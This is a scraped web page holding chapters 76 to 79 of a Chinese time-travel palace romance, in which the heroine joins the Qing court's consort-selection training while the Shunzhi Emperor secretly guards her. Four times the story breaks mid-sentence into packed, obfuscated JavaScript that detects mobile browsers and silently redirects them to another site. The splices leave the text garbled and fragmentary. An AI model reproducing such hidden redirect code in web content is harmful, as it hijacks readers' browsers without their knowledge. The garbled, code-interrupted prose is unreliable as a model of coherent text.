d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815900|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一口气,然后跟着李顺德走了进去。 从踏入储秀宫的那一刻开始,董浣浣便立刻上紧了自己的发条,尽心尽力的扮演好一个大家闺秀的样子,跟在李顺德身后,两只眼睛小心翼翼的观察着周遭的情况。此时的储秀宫除了一些摆件和她在书上电视上看过的二十一世纪的储秀宫没有太大的变化。 算了,即使是有什么变化,她这个建筑门外汉也是看不出来的,董浣浣自嘲的想。 按照之前李嬷嬷教的礼仪,入各宫之前都需要去各个主儿那里请安。董浣浣便向李顺德询问了一下,然后从李顺德的口中得知,因为福临还没有大婚,先帝的各位娘娘又各自都有自己的住处,所以目前储秀宫是没有娘娘的,是临时被征用来选秀的场所,所以去拜见宫中各主儿的这一步骤可以省了。 没有震场娘娘,真好,可以省去好多不比较的麻烦,董浣浣暗自庆幸。 董浣浣在李顺德的引领下到登记处进行了登记,顺便认识了她在选秀女期间的三大管理者。 肖如春,约莫三十岁左右的样子,储秀宫的掌事太监,负责选秀期间储秀宫大大小小的事情,相当于现代学校中的校长。初次见面,和董浣浣说起话来,既客气又疏离,和李顺德完全不是一个风格,董浣浣对他的第一印象是职场老油子,没事千万别招惹。 孟尝如,看上去大概有25岁左右,储秀宫的管事嬷嬷,管理各种琐事和吃穿的调配,相当于学校的财务部主任。看上去倒是人畜无害的,说起话来也是温温柔柔的,不过董浣浣知道能混到她这个位置的人,绝对不会像表面上看到的那么简单。 齐一秋,年龄大概有四十岁左右,储秀宫的教习总管嬷嬷,顾名思义就是她们培训期间的总教练,相当于学校中的教导处主任。她倒是挺表里如一的,整个人散发着严厉的气质,一副不要惹我的样子。 在挨个认识完各掌事者之后,董浣浣又在李顺德的引领下进行了登记以及在各个部门领取了统一的衣物和日常用品,然后顺利的找了她的住处。 过程和上学时候办理入学和住宿手续差不多。 在办手续的这一路董浣浣突然想通了一些事,她从高中时期就开始住校,后来又在异乡上大学,也算是见识到了各色人物了,对于这种群居生活她比这些长久的待在深闺里的大家闺秀们更有经验。而且她们现在也都不过是个十几岁的不谙世事的小姑娘,能有多大的能耐,电视剧里那些尔虞我诈的伎俩,想必也是长久的群居生活为了一个男人争风吃醋太寂寞了又被关在了这深宅大院里情感得不到抒发才会变得越来越变态的,至于现在与其她害怕她们,这会应该是她们害怕她这个社会老油子比较靠谱。 想明白了这一层,董浣浣顿时觉得整个人都轻松了起来,只要她在选秀女期间苟住,不显山不露水,一定可以悄无声息安全的离开皇宫的。 76. 托付 是夜。 董浣浣被分配在一个四人间的屋子里,当她推开门的时候,已经有两个人坐在屋子里了。 两人听到声响,不约而同的抬起头看向她。 董浣浣稍微打量了一下她们,一个着青底白花旗装,带旗头,一个着粉底白边裙装,未带旗头,在董浣浣打量她们的同时,她们两人也在观察她。 这感觉如此的似曾相识,恍惚间董浣浣仿佛回到了大学入学的那一天,她打开宿舍的门便看到了老大和孟古青她们…… 一番简单的眼神交流后,那两人均站起身来,和董浣浣分别打了招呼。 “你好,我是赫舍里.青柠,请多多指教。” “你好,我是石小睕,请多多指教。” 董浣浣闻言,赶紧回礼,“你们好,我是董鄂.浣浣,请多多指教。” 董浣浣有些动容,就连打招呼都是如此的似曾相识,让人怀念。 “这里还剩下两张床,你随便选一张吧”,着旗装的赫舍里.青柠指着剩下的两张床对董浣浣说道。 “好的,谢谢。”,董浣浣到了谢,看了一下,选了左边靠里面的一张。 董浣浣走到床边将领来的东西放在地上,环顾了一下整个房间。 房间还算够大,只不过原来是住一个主儿的房间,现在住了四个人,好多按照规矩应该有的摆设都被搬走了换成了床,略微显得有些单调,床边各放了一张梳妆台,还有四个简单的衣柜,再无其他了。 不过进来的时候董浣浣已经做好了心理准备,看到此情形也并没有多失望,和李顺德说的其他房间相比,这个房间已经足够好了。 稍晚些时候,这个屋子的最后一位成员陈珺娅也到了,大家打完招呼就算是正式认识了。 因为是第一天大家彼此都不熟悉,相处起来有些尴尬,又不能像上学的时候大家出去搓一顿增进了解,况且今天大家都舟车劳顿的忙了一天,也实在是没有精力应付了,便都早早的洗洗睡了。 是夜。 福临放下手中的奏折抬头看向站在殿下的卫苑,“都处理干净了?” 卫苑躬身拱手道:“回主子的话,都处理干净了。” 福临点了下头,“那就好,下去休息吧。”,然后又拿起手边的奏折接着看起来。 卫苑闻言站在那里,并没有立刻退下。 片刻之后,福临没有听到他离开的脚步声,从新抬起头来看向卫苑,“还有什么事?” 卫苑拱手道,“微臣有一事不明……”,说完停顿了一下。 福临把面前摊开的奏折合上放到了一边,好整以暇的说道,“你有什么想问的就问吧。” 得到应允后,卫苑接着道,“微臣不明白您为何明知浣主子会遇到那些人的监视,还这么早的让她踏入这险境?” 福临闻言不答反问道,“卫苑,假如你拥有了一件价值连城的宝贝,却发现有贼人,正在惦记你这件宝贝,你该怎么办?” 卫苑答道:“自然是加派人手日夜看守,防止贼人把它窃去。” 福临又道:“那万一贼人不止一个,敌在暗你们在明,待你们精疲力尽时他们在选择下手,你又该如何?” 卫苑:“自然是拼死保护,绝不给敌人一丝一毫的机会,大不了和他们拼个鱼死网破,玉石俱焚。” 福临闻言笑了笑,“卫苑你有没有想过,你这样是不是有些过于偏激了。为什么要搞的那么惨烈呢,你的初衷难道不是仅仅想要保护你的宝贝而已吗?” 卫苑低头想了下,不知该如何作答,“恕臣愚昧,还请主子赐教……” 福临清咳了一声,然后说道,“既然防不胜防,为何不来个混淆视听呢?” 卫苑闻言,重复了一下福临的话,“混淆视听、、、、、、”,还是不太明白。 福临看着他一脸迷茫的样子,接着解释道:“既然贼人惦记你的宝贝,那你为何不索性把全天下人的宝贝都搜罗来,让贼人分不清到底哪件才是你的宝贝。” 听到福临这样说,卫苑终于明白的主子的良苦用心。 福临看到他的表情,便知道他这是懂了,于是接着说道:“那群老顽固目前只知道朕有这么一个人,还不知道这个人是谁,既然他们已经知道了浣儿的存在,查出来也只是早晚的事情。朕当然是不能坐以待毙,让他们查到浣儿的头上,索性把水搅得更浑一些,把所有适龄的女子都接到宫中来,混淆视听。所谓最危险的地方,就是最安全的地方,只要朕时不时的找人给她做好掩护,就可保她平安无虞。” 卫苑听完连连点头,“是臣狭隘了,思虑不周,还是主子想的周到。” 福临闻言,轻笑了一声,然后道:“不是你思虑不周,只是朕太在意了而已。”,福临停顿了一下又接着说道,“其实想要保护她的方法还有很多,最好的也并不是这一个,只不过这里还有我的私心在。” “私心?”,卫苑不解。 福临看了卫苑一眼才道,“对,私心,想让她待在我身边的私心。”,语气中带着一丝无力和愧疚。 卫苑明白主子此话中的意思,其实保护浣主子最好的办法就是放她远遁江湖,不让她卷进这朝堂纷争中来。不过卫苑也知道让浣主子离开主子身边,主子大抵是做不到的。 这些话自然是不能够和主子明说的,卫苑思索了一下,拱手道:“普天之下,莫非王土,率土之滨,莫非王臣,只要主子您需要,浣主子会理解您的。” 福临闻言苦笑了一下,“卫苑你不用安慰朕,朕知道朕是个自私的男人,有时候朕也在想,大丈夫想要成事自然要做到拿得起放得下,身为天子则更不应该被儿女情长所牵绊,可是唯独对她朕做不到收放自如。” 卫苑拱手还想说些什么,福临挥了挥手示意他不用说了。 福临心里明白,事情就是如此,又何必为难本就不善言辞的卫苑让他费力的帮自己找补呢。 两人一时无话,气氛有些尴尬。 又过了一会,福临从低落的情绪中回过神来,看向还站在殿下的为卫苑说道,“朕没事了,你先回去吧。” “臣还有一事、、、、、、”,卫苑站在那里踌躇着,不知道该不该开口,开口了又该怎么说比较恰当,又或者是等李顺德进来自己说比较好。 福临看到他这样一副欲言又止的模样,手掌握拳轻叩了一下额头,然后说道,“她是什么样的人我比你了解,说吧,发生了什么事了?” 卫苑面露些许难色的如实回禀道:“今天浣主子回储秀宫的路上,趁李顺德不在的时候爬上了树。” “爬上了树?”,想想他们第一次遇见的情形,福临只觉得头疼的更厉害了,紧张的站起身来,“你怎么不早说,她人现在在哪儿,没摔着吧?” 卫苑回道,“主子请放心,臣按照您的吩咐一直暗中在边上候着,亲眼看到浣主子安全的从树上下来才离开的。” 福临听到他这样说,才稍稍的放下点心来,“你可探明她爬树是因为什么吗?” 卫苑答,“回主子的话,浣主子好像是去帮海日格格取落在树上的风筝。” 福临听完他的话,心中还是有些余悸未了,“取个风筝,还需要她亲自上树,宫里是没人了吗,朕不是让那个李顺德寸步不离的跟着她吗,他人跑哪去了!” 卫苑闻言,回想了一下当时的情景,一时于心不忍,便在福临面前替李顺德的解释了一下当时的情景。 福临听完他的话,意味深长的看了一眼卫苑,“卫苑,你有没有发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815901|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现我们这趟出行回来你变了许多,这事要是放在以前,你定是一句话也不会多说的,”,卫苑正想回话,福临挥手示意阻止了他,“你的心变软了,朕不知道这对你来说是件好事,还是件坏事,只希望你的心软可以用在对的地方。”,说完拍了拍卫苑的肩膀。 拍在肩膀上的重量,一下子让卫苑反应了过来,福临话中的意思。 他的心变软了,却没用对地方。选择去心疼违抗皇命擅离职守的奴才,为他的擅离职守寻找借口,却在该出现的时候不出现躲在暗处,把主子置于危险的境地。 为违抗皇命把主子置于危险境地的人寻找借口,自己却又不敢违抗皇命现身眼睁睁的把主子限于危险之中。 既不上前帮忙,还为犯错的人找补,是为不忠。 卫苑被福临的言外之意吓得冷汗直流,噗通一声跪在地上,“微臣知罪,请主子责罚!” 福临挥了一下手,示意他起来,“卫苑你知道自秦以来算上朕历史上出现过多少个皇帝吗?” 卫苑摸不到头脑,主子为何突然这样问他,如实的拱手回答道:“微臣不知。” 福临看了他一眼,接着说道:“算上朕,一共是485个。秦,三代而亡,西汉,十五代而亡,刘秀复辟东汉经历了14代而亡,、、、、、、,距离我们最近的明,历经17代终于也走到了末路”,说完这些福临又看了一眼卫苑,接着问道,“依你之见我们大清以后会历经多少位皇帝?” 问题一出可把卫苑给吓坏了,忙不迭的又跪了下去,这个问题已经超出了他所能议论的范围,如若被其他人听到,不管他如何说,都将面临杀头的罪过。 如若他回答,大清定当千秋万代,那势必会被有心人解读成,诅咒皇上早逝,如若他回答,皇上会万寿无疆,大清会一直在皇上的治理下,永享太平,可能又会被有些人解读成,太祖皇帝之所以英年早逝可能和他的诅咒有关,毕竟他有一个享誉满蒙的善于巫蛊之术的母亲。 虽然他的母亲已经去世多年,但是旁人自是不会像主子那样,不带偏见的看他,重用他。 从小爹就教育他,不要在人前和人后议论一切关于这样的问题,如今皇上突然这么直白的问出来,一时间卫苑确实不知道该如何回答才比较好。 他不回答,福临也不着急催他,两人就这样僵持着。 许久之后,卫苑想明白了之后,开口道,“我大清定当如您所愿千秋万代,国富民强。” “很好”,福临拍手认同,然后接着说道,“朕生在皇家,见过无数的奇珍异宝,倾城佳人,自认为我这一辈子都不会有心动的感觉,直至遇到了她,朕才发现,人生在世,得此一人足以。如果没遇到她我这一生应该也会按部就班的过的还不错,但是这人一旦遇上了,住在心里了,就不能失去了,失去了就会死,大清并非非我不可,但我非她不可,你懂吗。” 卫苑抬起头来,“微臣明白了。” 等他回答完之后,福临接着说道:“所以,朕希望,以后在朕的皇命和她的安危之间,你们所有人都会以她的安危为先。” 就算是被后人批判,爱美人不爱江山又如何,只要她安全无虞,那么这个名声不论恶也好,善也好,他背上又如何。 卫苑闻言,双手抱拳答道:“臣谨遵主子命令,定当不负主子所托!” 福临点头,“从今天开始,朕就把她的安危交给你了。” 卫苑:“主子放心,臣,定当拼尽全力保护好浣主子的安危。” 福临拍了拍卫苑的肩膀,然后说道,“李顺德他现在人呢?” 卫苑努力平复了一下情绪之后,回复道:“李公公正在殿外候着,等待您的接见。” 福临:“召他进来吧。” 77. 摸底考试 这是什么鬼地方! 这是什么鬼地方! 待在这黑暗的密室里,董浣浣觉得自己真的要疯了。 知道的知道她们是来参加选秀培训的,不知道的还以为她们是来参加密室逃脱的呢。 董浣浣千算万算没有算到参加培训的第一天,居然可以免费的体验一把密室逃脱,古人真是城会玩。 事情的起因还要从早上说起。 一大早天刚蒙蒙亮的时候,她们就被嬷嬷们从床上掀起来,梳洗完成后,在院子里集合,然后统一被蒙上眼睛,坐上马车晃晃悠悠的被拉到了这个鸟不拉屎的地方,进行所谓的测试。 董浣浣伸手锤了锤已经被颠麻了的手脚,眼睛往四周瞧了瞧,观察了一下环境。 这破地方,真可谓荒无人烟,这北京城居然能有这么荒凉的地方,在她的印象中北京似乎并没有这样一座古迹,也不知道齐嬷嬷他们是从哪里找来的,要不是她们是在储秀宫被光明正大的带来,旁边还站着两排穿着黄色马褂的侍卫,董浣浣都要怀疑她们是不是被绑票,卖到这里来的。 其他的秀女也和她差不多的心思,被晃得七荤八素的拉到这种鸟不拉屎的地方,心里多少是有些怨言的,一时间人群中议论纷纷,怨声载道。 “啪,啪,啪,”,总教习齐嬷嬷拿着戒尺用力的在手中敲打了三下,然后吼道:“都给我安静!” 听到喊声,秀女们顿时安静了下来,齐刷刷的看向齐一秋。 齐一秋扯着嗓子训斥道:“吵吵嚷嚷,自由散漫,你们看看你们还有一点大家闺秀的样子吗,我不管你们的身份地位,在我这里你们都是一样的,从今天开始都要听从我的安排,谁不服从管教大可去皇上太后那里告我!” 齐一秋说完目光从她们每个人的身上掠过,然后补充道:“不过我事先提醒一下,这样做的结果只有两条路,不是我走,就是你走,谁不服大可以去试试,都听明白了吗?” 虽然有些不合时宜,但是董浣浣听到齐一秋说的这些话确实有些想要笑出声的冲动。 主要是这些话,真的太耳熟了,她初中、高中,大学几乎每个阶段都要听一次类似的话。 这也太像军训的时候,教官吓唬人的话了,董浣浣努力憋住上扬的嘴角装出一副严肃的模样和其他人一起回答道:“明白了,齐嬷嬷。” 董浣浣心里明白,这和军训还是有些不同的,军训可能真的会有人去举报教官,在这里告状自然是没有人敢去的,这是拿自己和家族的未来去赌一个嬷嬷会不会被开除,没有人会这么傻。 “很好”,齐嬷嬷满意的点了点头,“接下来,我们将会按照礼、音、骑射、舞蹈的顺序对大家进行一个基本的了解。” 董浣浣在心里“阿偶”了一声,恍然大悟,原来她们是要进行摸底考试啊。 摸底考试,就说摸底考试嘛,储秀宫那么大,有什么考不开的,干什么这么神神秘秘的把她们拉到这么一个鸟不拉屎的地方,简直是多此一举。 “既然都了解情况了,大家都跟我来吧”,齐嬷嬷冲着她们挥了挥手,便往前走。 秀女们闻言,乖乖的齐刷刷的跟上。 打开内院的大门,与门口荒凉的景象形成了鲜明的对比。 干净整洁的庭院,一眼望不到边,被整整齐齐的标注好了每个考试的区域,还有马厩,饭堂,厨房等一切配套设施。 见到此情景,董浣浣决定收回刚刚说的储秀宫那么大有什么考不开的那句话,和这里相比储秀宫确实太小了。 “都过来,按照顺序抽一下签”,齐一秋拍了拍放在门口的桌子,对着还在东张西望的秀女们说道。 秀女们闻言按照顺序乖乖的走上前来开始抽签。 另一边,东厢房门外。 吴良辅和卫苑一番交流之后,走进房间反手关上门。 东厢房内静悄悄的,福临斜卧在榻上,手托着脸在闭目眼神,听见动静便抬起手臂坐直身子,开口问道,“怎么样了?” 吴良辅走到榻前,“回主子的话,浣主子那边已经抽完签了。” 福临闻言点了点头,说了句“很好,让卫苑帮朕盯紧她,一定要保证她的安全。” 吴良辅应声,“是,奴才一定把话给卫苑带到。” “还有什么事吗?”,福临看到吴良辅杵在那里一副欲言又止的模样开口问道。 “回主子的话,虽然咱们都已经做好了万全的部署,也让卫苑贴身去保护浣主子的安全,不过不怕一万就怕万一,为了浣主子的绝对安全,您看,奴才要不要去和齐一秋打一声招呼?” 福临听到问话,没有立即作出指令,转而伸出右手放在头上,大拇指和食指按在太阳穴上揉了揉,多日来的操劳,他的身体着实有些吃不消。 吴良辅见状很有眼力劲的走向前想要分担他的工作,“奴才来吧……” 福临闻言挥了挥手表示拒绝,自己轻轻的揉搓着,待头疼的症状缓解了一些,抬起头来看向吴良辅说道:“齐一秋那里你什么都不用说,就让她按照之前的流程进行下去就行,不要过多干涉。” “可是……”,吴良辅还是有所顾虑。 福临看到他这个样子,轻笑了一声,然后说道:“朕知道你是替朕分忧,担心浣儿的安危,只不过、、、、、、”,福临顿了一下,没有接着说下去。 吴良辅应声,“只不过什么?”,说完又立刻回神,发现自己僭越了,条件反射般的捂住嘴,然后又急忙跪下请罪,“皇上恕罪,是奴才僭越了!”,动作一气呵成。 福临等他这一系列动作完成之后,才接着说道:“起来吧,没有那么严重,朕只是想说你真的太不了解她了,不了解她,却还会不知不觉的被她影响,就像现在的你一样,会向她一样不瞻前顾后直接开口问出自己想要问的问题,人有问题自然要提出来,只要不误事伤人,这没什么不好,用不着这么大惊小怪的。” 吴良辅听了福临的话,回想了这几个月作为“单良”和浣主子相处的点点滴滴,深以为然,浣主子就是有那种魔力,让人不知不觉的受她影响,潜移默化的同意她的那些理论,比如她口中的大家都是家人都是朋友,都是平等的,以至于刚刚他会不分尊卑的脱口问出那些话。 “谢主子开恩,奴才下次一定注意。”,吴良辅在心里暗暗的松了口气,然后起身谢恩。 “单良,依你看朕和浣儿之间,谁依赖谁多一些,谁离不来谁多一些?”,等到吴良辅站起身来福临又开口问道。 这个问题太简单了,吴良辅几乎不用思考的回答道:“自然是浣主子更依赖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815902|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主子您,浣主子更离不来主子您了。” 福临听完他的回答,笑着摇摇头道:“那你就错了,朕和她之间从来都是朕更依赖她,更离不开她,更粘着她,虽然朕一直不愿意承认,但也不得不承认,她离开了朕会过得更好,更自由,一直以来都是朕在强求她留在朕身边而已。朕多希望有一天,她能够像朕粘着她一样粘着朕。” 吴良辅闻言刚想替他辩解,福临挥手阻止了他,“她虽然是个直性子,但是保护她自己的能力还是有的,这点朕信任她,宫中的尔虞我诈她本不应该卷入,是朕把她卷进来的,朕是天子,既然答应她在选秀期间给她绝对的自由,不给她搞特殊,朕就一定会尊重她的意愿。更何况,现在知道她身份的人越少,她还是越安全的,朕不想节外生枝。” 吴良辅听到福临这样说,回话道:“主子英明,是奴才考虑不周了。” 福临闻言挥了挥手,“和你没关系,主要是朕也想通过这次学习,让她尽快适应与这些人打交道,日后等她入宫了,朕不可能时时刻刻都待在她,她要学会如何在后宫中生存,保护好自己。” 待福临说完之后,吴良辅拱手道:“还是主子想得周到。” 说完这一通话,福临感觉自己更累了,挥了挥手让吴良辅退下了。 等到吴良辅走到门边,福临又想到了一个问题,“还有,”,吴良辅应声停住,“不要让她知道朕在这里”福临接着说道,吴良辅应声,然后推门离开。 福临望着紧闭的房门,无奈的笑了,如果让浣儿知道他这么粘着她,大概会笑他吧。 另一边。 好家伙,董浣浣直呼好家伙! 抽完签之后,董浣浣按照次序依次体验了礼、音、骑射、舞蹈各个项目的考核,这考核的难度绝对不低于各大卫视之前流行的闯关节目,让董浣浣直呼这出题的人不生到现代去做编导实在是太可惜了。 忙乎了一天在董浣浣精疲力尽以为终于可以休息了之后,就被关到了这里,和她一起被关的还有她同屋的三个人。 四周黑乎乎的一片,只有门口那一盏小油灯亮起来一丝微弱的光,屋里凉飕飕的,四个女孩依偎在一起,又让董浣浣有了一种被拐卖了错觉。 规则上说了,只要她们给出问题的答案就可以得到钥匙离开这里,题目对董浣浣来说也无比简单,人牵着马,一共有35个头,94只脚,问有多少个人,多少匹马? 这道题不是她吹,她小学就可以解出来,可是她想要低调不冒头啊,只能装作一窍不通的样子,等其他人解出来,所以说其他三个人到底什么时候可以解出来! “咕噜噜,咕噜噜”,那个叫赫舍里.青柠的姑娘,肚子开始不争气的叫唤出声,看到董浣浣看她,她有些不好意思的指着肚子开口道,“抱歉,它有些饿了。” 董浣浣闻言笑了一下,挥了挥手道,“饿了有什么不好意思的,我这里还有我中午吃饭时候多拿的四块莲子糕,我们大家一起吃吧。”,说完从袖兜里掏出了四块莲子糕,给其他三个人一人递了一块。 三人想来也是饿坏了,都没有矜持的拒绝,一一道谢接了过去。 董浣浣看着其他三人的吃相,笑了,虽然处境有些窘迫,她们终究还是吃上了属于她们宿舍四人的第一餐。 78. 宿舍风云 “记住,这不是比赛,你也不需要拼命去赢。每个参选之人都有自己的靠山,这和能力,外貌,才情没有任何关系,其实输赢在一开始就注定了,靠山就决定了她的输赢,你的底牌是我,我自是不会让你输。所以接下来的日子里你的任务就是平平安安开开心心的过完每一天。” 董浣浣躺在床上摸着脖子上戴着的坠子,想起来福临之前和她说的话,长长的叹了口气。 靠山决定输赢,其实不用福临和她说,她也明白,古代不就讲究个门当户对嘛,入宫为妃,拼的不就是个娘家背景吗? 就像现在,他们这些个人辛辛苦苦的在这里接受所谓的培训,而孟古青只需要在郊外的园子等待出嫁就好了。 这就是人与人之间的差距。 董浣浣自认不是个悲情伤秋的人,只不过窗外淅淅沥沥的雨声,总是让一向阳光的人,也忍不住忧郁起来。 今天下雨,齐天大魔头难得大发慈悲给大家放了一天的假,让大家自由活动,累了这么久的董浣浣自然而然的选择了躺在床上养膘。 在床上翻了个身的董浣浣,顺便换了一个思路安慰一下自己,孟古青自己一个人待在园子里有什么好的,这种衣来伸手饭来张口的生活她又不是没有过过,不还是被吓得离家出走吗,还是这种生活比较有意思,除了苦点累点。 董浣浣叹了口气又转过身来,这天天一大早被拉起来,好不容易能够没人管的躺一天了,她怎么反而感觉空落落的呢,想想平时要敢这么躺着,估计早就被齐天大魔王从床上拉起来,发配到浣衣局去洗衣服了。 她怎么变得这么贱了呢,一天不被齐天大魔头收拾的生不如死,居然还有点想她。 想想这齐天大魔头也真是个人物,她虽然不会容嬷嬷那样给人乱扎针,但依然可以在秀女心中留下足够的阴影,从董浣浣给她起的绰号就能窥见一斑。 还记得当时当齐嬷嬷无意间听到董浣浣给她起的这个绰号的时候,董浣浣料到自己死定了,只是没想到是以那种方式。那时候齐嬷嬷居然把她带到人前,当着所有人的面应下了这个称呼,说她很喜欢这个称呼,让所有人以后可以当着她的面直接这样称呼她,说完就把董浣浣丢到浣衣局洗了两天衣服。 什么是社会性死亡,这就是了。 其实董浣浣有时候也会很佩服齐天大魔头,明知道这些女孩都是各个皇亲国戚贵胄家的小姐,先不说之前的身份,就算是普通人家的女孩,经过这场培训之后,也很可能一夜之间麻雀变凤凰成为她的主子,天天这样挨个折腾谁都不惯着,该打打,该罚罚,好像丝毫不在意她们的身份以及日后她们上位会不会秋后算账。 说到秀女选秀培训,其实和上大学时候的军训流程差不多,只不过内容更残酷更让人无法忍受一点。 穿着花盆底,走在齐天大魔头专门选择的坑洼不平的路上,一走就是一天,晚上回到房间,整个脚都是水泡,如果现场没有其他公公和嬷嬷,董浣浣真的想上前把齐天大魔头的脸打成猪头。练习刺绣,累到手抖都不能放下针,不然就会被罚到浣衣局洗衣服,看着被扎的千疮百孔的手,再想想浣衣局那冰冷的水,什么痛苦就都能忍过去了。还有练习古筝,手被勒出一道道血痕,肿的像馒头一样,停下来的结果还是一样去浣衣局洗衣服去。 这一天天的知道的是知道她们是来培训做娘娘的,不知道的还以为她们是来做女工的呢,天天培训这些没用的东西,以后护甲一带,轿撵一坐,有啥用啊。 你以为既然什么都学不好还不如自暴自弃什么都不学,直接去浣衣局洗一个月衣服就好了,那你就大错特错了。 齐天大魔头惩罚人的办法,是根据你的态度而决定的,积极面对仍然做不好,那是最轻的惩罚,去浣衣局洗衣服,消极面对的话,她会升级她的惩罚措施。惩罚的花样要比军训时候的教官的花样要多得多,军训的时候教官大不了就是俯卧撑,蛙跳,罚站,扫厕所,这些小儿科,一不小心还会被投诉体罚学生,齐天大魔头的惩罚花样比他们可多多了,去浣衣局洗一天衣服是最轻的,还有什么把整个储秀宫的各个犄角旮旯都不放过的里里外外打扫一遍,把储秀宫每棵比你矮的植物的叶子都用手帕擦洗一遍,等等各种非人的待遇。 董浣浣待在这里,每天都有一种叫天天不应叫地地不灵的感觉。 之前在府里被李嬷嬷各种嫌弃的时候,她还觉得自己做的很好了,是李嬷嬷太严厉,要求的太多了,直到入宫来的这些天,董浣浣才知道李嬷嬷之前对她是多么的仁慈。 果然啊,人总是在失去之后才会懂得什么叫做珍惜。 想想这种日子还要过将近一个月董浣浣,整个人都不好了。 因为进储秀宫之前董浣浣特意和福临强调过,绝对不能给她搞特殊待遇,绝对不能让别人知道他们之间的关系,她不想成为别人的靶子,所以此时她也不能过多的出头,引人注目,只能苟住默默的忍受着。 董浣浣感觉最近的自己被逼得马上就要人格分裂了,一天辛苦之后,晚上躺在床上在心里不停的后悔她之前为什么要和福临说那些大话,什么她不想搞特殊,什么她不想成为靶子,都是些什么鬼话!她想搞特殊,她特别想要搞特殊,可是每天早上她还是会老老实实的去参加这魔鬼般的训练,努力的压制住她的暴脾气以及体内的洪荒之力,在心里默念五百遍我要冷静,我要冷静,然后冲着各个公公嬷嬷露出标准的职业笑容,除了那次绰号意外,她在所有的环节都做的很好,既不张扬,也不丢人,就像是考试,每次都是60分低空稳稳的划过。 虽然她一直忍得很好,可是这种水深火热的生活,到底什么时候是个头啊,董浣浣又忍不住的翻了个身。 “董鄂.浣浣,你到底睡还是不睡,你一直这样翻身很影响我看书的好不好!”,陈珺娅不耐烦的声音传来,董浣浣立刻动也不敢动了。 陈珺娅这人甚是小气,一言不合就生气,还总是阴阳怪气的,董浣浣活得糙惯了,实在不擅长和这样娇滴滴又爱生气的人打交道,秉承着我惹不起还躲得起,再惹我就怼死你的原则,能不搭理她就不搭理她。 “砰”的一声,门被从外面推开,接着便是一声急切的询问,“石小睕回来了吗?” 董浣浣都可以想象此刻陈珺娅的表情有多难看,忍不住在心里笑出了声。 赫舍里.青柠就有这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陈珺娅,汉军旗塞上将军陈泼鸿的女儿,这个人董浣浣没有听说过,不知道她娘家背景。赫舍里.青柠,朝廷重臣,索尼的女儿,这个人董浣浣很知道了,电视剧里看过好多次了,索尔图是他儿子,康熙的赫舍里皇后,废太子胤扔他妈是他孙女,他们家是万万得罪不起的,这也是为什么陈珺娅明明很烦她,却屁都不敢放一个的原因。石小睕,就比较特殊了,她是秀女中唯一一个汉人,是吏部侍郎石申的女儿,董浣浣自然是不认识石申的,只不过通过他的官职也知道是无论如何也不能得罪的。 董浣浣在想以前看电视剧的时候有些电视剧把董鄂妃误写成汉家女,是不是因为借用了石小睕的身份。不过现在说这些言之过早了,石小睕能不能选上还不一定呢,更何况即使石小睕选上了,她也没办法回到现代去查证了。 看见赫舍里.青柠还在左顾右盼的找石小睕的身影,董浣浣出声回答道:“她好像出去了,你找她有事吗?” 听到董浣浣的回答之后,赫舍里.青柠走到她的身边说道,“告诉你一个天大的秘密”,董浣浣被她这种夸张的神情给逗乐了,到底是有多天大的事情,能够让她这么夸张。 赫舍里.青柠被她笑的有些恼,伸手轻拍了一下她的肩膀,说道,“你别笑了,这次真的是天大的消息,我说出来你就笑不出来了!” 董浣浣止住笑,哄她道,“好了,我不笑了,不笑了,你说,你说。” 赫舍里.青柠:“这还差不多”,然后又摆出刚刚那副神秘莫测的表情冲着董浣浣的耳朵说道:“我听说,石小睕已经被皇上内定为妃了。”,说完还不忘得意的补充一句,“这下你笑不出了吧。” 是的,如赫舍里.青柠所言,她笑不出来了。 79. 宿舍风云2 “石小睕被被内定成皇妃了。” 董浣浣听到这话一时间不知道自己是该高兴还是该忧虑。 一方面有人被推出来做靶子转移视线,按理说她应该是高兴的,另一方面将心比心她又在为石小睕的处境担忧。 董浣浣感觉有些无力,虽然她很不想,可是事情终于还是走到了这一步,她原本还希望至少在储秀宫培训期间她们所要面对的顶多是教官们的刁难以及秀女们之间的一些小打小闹,只需要规规矩矩的走完培训的流程,大家就都可以从储秀宫全身而退,然后各凭本事参与竞选,终究还是她想的太简单了。 就像福临所说,在这里她们代表的从来都不是一个人,是一个家族的荣辱,这是政治博弈,而不是一场简单的培训,石小睕被推出来,就预示着这场博弈已经到了被推到明面上的程度,这靶子一旦立了起来,就意味着从今以后整个储秀宫再也没有安生日子好过了。 